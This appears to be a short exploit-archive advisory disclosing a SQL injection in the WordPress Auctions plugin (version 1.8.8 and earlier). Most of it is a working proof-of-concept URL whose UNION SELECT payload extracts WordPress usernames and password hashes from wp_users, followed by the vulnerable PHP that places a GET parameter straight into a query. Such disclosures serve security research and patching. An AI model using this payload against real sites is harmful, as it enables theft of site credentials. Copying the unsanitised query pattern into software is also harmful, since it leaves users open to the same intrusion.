# Exploit Title: WordPress Auctions plugin <= 1.8.8 SQL Injection
Vulnerability
# Date: 2011-09-09
# Author: sherl0ck_ <sherl0ck_[at]alligatorteam[dot]org>
@AlligatorTeam
# Software Link: http://downloads.wordpress.org/plugin/wp-auctions.zip
# Version: 1.8.8 (tested)

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PoC
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URL:
http://localhost/wordpress/wp-admin/admin.php?page=wp-auctions-add&wpa_action=edit&wpa_id=-1+union+all+select+1,2,3,USER(),concat(user_login,char(58),user_pass),DATABASE(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+wp_users&_wpnonce=e04f105b8e

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Vulnerable code
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...
elseif($_GET["wpa_action"] == "edit"):
    $strSQL = "SELECT * FROM ".$table_name." WHERE id=".$_GET["wpa_id"];
...
elseif($_GET["wpa_action"] == "relist"):
    $strSQL = "SELECT * FROM ".$table_name." WHERE id=".$_GET["wpa_id"];
...
$resultList = $wpdb->get_row($strSQL);
...